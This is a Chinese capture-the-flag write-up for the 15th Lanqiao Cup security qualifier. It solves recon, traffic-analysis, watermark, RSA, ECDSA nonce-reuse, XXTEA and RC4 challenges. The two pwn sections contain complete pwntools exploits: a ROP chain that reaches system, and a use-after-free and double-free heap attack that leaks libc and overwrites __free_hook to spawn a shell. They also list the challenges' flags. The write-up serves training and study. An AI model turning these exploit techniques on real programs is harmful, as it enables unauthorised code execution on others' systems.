第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP
1.理论题2.情报收集:爬虫协议:
3.数据分析:packet:缺失的数据:
4.密码破解:cc:Theorem:signature:
5.逆向分析:欢乐时光:rc4:
6.漏洞挖掘分析:fd:ezheap:
前言:第一次参加蓝桥杯,很荣信晋级线下,感谢师傅们观看,最近打攻防更新的比较慢ovo。
:ly3260344435
:3260344435
BiliBili:落寞的鱼丶
公众号:鱼影安全
CSDN:落寞的魚丶
知识星球:中职-高职-CTF竞赛
欢迎师傅们交流学习捏~~~~
1.理论题
略
2.情报收集:
爬虫协议:
考点:爬虫协议robots.txt
爬虫协议写在robots.txt文件里,访问进去得到 直接进去/6235cee4569ea639f7bcbf4e88335353/目录下,打开文件得到flag
3.数据分析:
packet:
导出HTTP数据流,最后一个数据包追踪数据流发现Base64解码即可。
FLAG:7d6f17a4-2b0a-467d-8a42-66750368c249
缺失的数据:
先解压出orign.zip里面的字典,然后用ARCHPR的字典模块把orign.zip的密码跑出来解压。
解压得到密码:pavilion 得到a.png 脚本如下:
import cv2
import numpy as np
import pywt
class WaterMarkDWT:
def __init__(self, origin: str, watermark: str, key: int, weight: list):
self.key = key
self.img = cv2.imread(origin)
self.mark = cv2.imread(watermark)
self.coef = weight
def arnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = (i + b * j) % r
y = (a * i + (a * b + 1) * j) % c
p[x, y] = img[i, j]
return p
def deArnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = ((a * b + 1) * i - b * j) % r
y = (-a * i + j) % c
p[x, y] = img[i, j]
return p
def get(self, size: tuple = (1200, 1200), flag: int = None):
img = cv2.resize(self.img, size)
img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
c = pywt.wavedec2(img2, 'db2', level=3)
[cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
d = pywt.wavedec2(img1, 'db2', level=3)
[dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
a1, a2, a3, a4 = self.coef
ca1 = (cl - dl) * a1
ch1 = (cH3 - dH3) * a2
cv1 = (cV3 - dV3) * a3
cd1 = (cD3 - dD3) * a4
waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
waterImg = np.array(waterImg, np.uint8)
waterImg = self.deArnold(waterImg)
kernel = np.ones((3, 3), np.uint8)
if flag == 0:
waterImg = cv2.erode(waterImg, kernel)
elif flag == 1:
waterImg = cv2.dilate(waterImg, kernel)
cv2.imwrite('1.png', waterImg)
return waterImg
if __name__ == '__main__':
img = 'a.png'
waterImg='newImg.png'
k = 20
xs = [0.2, 0.2, 0.5, 0.4]
W1 = WaterMarkDWT(img, waterImg, k, xs)
output = W1.get()
flag{e642820a-44c0-4c7d-a259-68b15aca8840}
4.密码破解:
cc:
使用Cyber的AES解密模式,根据题目html文件的key和iv以及编码格式解密即可。
Theorem:
这里的p和q是很接近的也许是CRT吧,所以用几何平均值遍历周围的值即可。
这种情况是可以直接使用yafu进行分解的
分解之后就是正常的RSA解密流程了
from Crypto.Util.number import *
p = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156923
q = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156717
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
d1 = 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
d2 = 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
d = (d1*q*inverse(q, p)+d2*p*inverse(p, q)) % n
print(long_to_bytes(pow(c, d, n)))
flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}
signature:
曲线SECP256k1的参数已知,有两个msg :
import ecdsa
import gmpy2
from hashlib import *
from Crypto.Util.number import *
order = ecdsa.SECP256k1.generator.order()
p = 115792089237316195423570985008687907852837564279074904382605163141518161494337
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
m1 = b"Hi."
m2 = b"hello."
h1 = bytes_to_long(sha1(m1).digest())
h2 = bytes_to_long(sha1(m2).digest())
k = gmpy2.invert((s1-s2), p)*(h1-h2) % p
inv_r = gmpy2.invert(r1, p)
d = ((k * s1) - h1)*inv_r % p
flag = "flag{" + str(d) + "}"
print(flag)
# flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}
5.逆向分析:
欢乐时光:
flag被使用了算法分成若干个小块,每个块使用相同的加密解密方法,但是这个算法是对称加密,请将分析密文并还原。
进入 Cry 函数,稍微魔改了一点点的 XXTEA, 轮数 的计算部分被修改为 415 / a2 + 114,脚本解密即可
#include
#include
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#include
using namespace std;
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 114 + 415 / n;
sum = 0;
z = v[n - 1];
do {
sum -= DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 114 + 415 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main() {
uint32_t key[4] = {2036950869, 1731489644, 1763906097, 1600602673};
uint32_t v[] = { 1208664588, 0xCE9037F2, 0x8C212018, 244490637, 0xA4035274, 611560113, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 1875931283 };
btea(v, -11, key);
printf("%s", (char *)v);
}
flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}
rc4:
RC4是一种流加密算法,密钥长度可变,它加解密使用相同的密钥,因此也属于对称加密算法。
IDA Pro打开,main函数伪代码如上图所示,跟进 sub_401005 可以得到 RC4 加密函数
可以发现并没有被魔改是标准的RC4,因为是对称加密 加解密使用相同的密钥,直接用工具 RC4 解密即可
main函数中已经定义了密文数组v5和密钥字符串Str将密文数组逐个导出或者Debug后 导出值即可
6.漏洞挖掘分析:
fd:
小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。
没开PIE和canary,IDA静态分析buf很明显的栈溢出
check函数,看了一下没有过滤$0,close(1)可以用重定向fd完成
from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
backdoor=0x400CC5# 4197573
rdi_ret=0x0000000000400933
ret=0x00000000004005ae
system_plt=0x0000000004005D0
info=0x601090
p.sendline(b'$0\x00')
payload=b'a'*(0x20+0x8)+p64(ret)+p64(rdi_ret)+p64(info)+p64(system_plt)
p.sendline(payload)
p.sendline(b'exec 1>&2')
p.sendline(b'cat flag')
p.interactive()
进入之后输入exec1>&2或者exec1>&0#完成重定向 即可回显。
ezheap:
小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?
create函数,free函数没漏洞,show函数正常
发现uaf漏洞,但是只能使用一次
利用uaf来完成堆重叠可以,然后先泄露堆地址再泄露libc地址 因为没有\x00截断,释放之后有堆地址残留,申请出来就能得到堆地址
就是这个接收有点问题,需要处理一下, 造成堆块double free之后,然后把tcahce中的全申请完,然后再申请,这个时候被改的fd指向,然后会掉入tache中还是关了本地随机化不然有问题
然后就是再次利用之前残留的堆重叠,再次打hook就行
from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('./libc.so.6')
def create(Content=b'a\n'):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'1')
p.send(Content)
def free(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'2')
p.sendline(bytes(str(id),'utf-8'))
def show(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'3')
p.sendline(bytes(str(id),'utf-8'))
def uaf(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'2106373')
p.sendline(bytes(str(id),'utf-8'))
payload=b'\x00'*0x18+p64(0x61)
for i in range(14):
create(payload)#0-13
for i in range(7,0,-1):
free(i)
uaf(0)
create(b'A')#1
free(0)
show(1)
p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=(heap_add<<8)-0x300
success('heapbase '+hex(heapbase))
payload=p64(heapbase+0x2c0-0x10)+b'\n'
create(payload)#0,double
for i in range(6): # x /20gx 0x555555558060
create()#2-7
create()#14,0
payload=b'\x00'*0x38+p64(0x60*12+1)
create(payload)#15
free(1)
create(b'A')#1
show(1)
libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x1ecf41
success('libcbase '+hex(libcbase))
free(10)
free(1)
create(p64(0)*3+p64(0x61))
free(1)
free(15)
free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)
create(payload)#1,over
create(b'/bin/sh\x00\n')#10
create(p64(system_add)+b'\n')
free(10)
# gdb.attach(p)
p.sendline(b'cat flag')
p.interactive()
文章来源
发表评论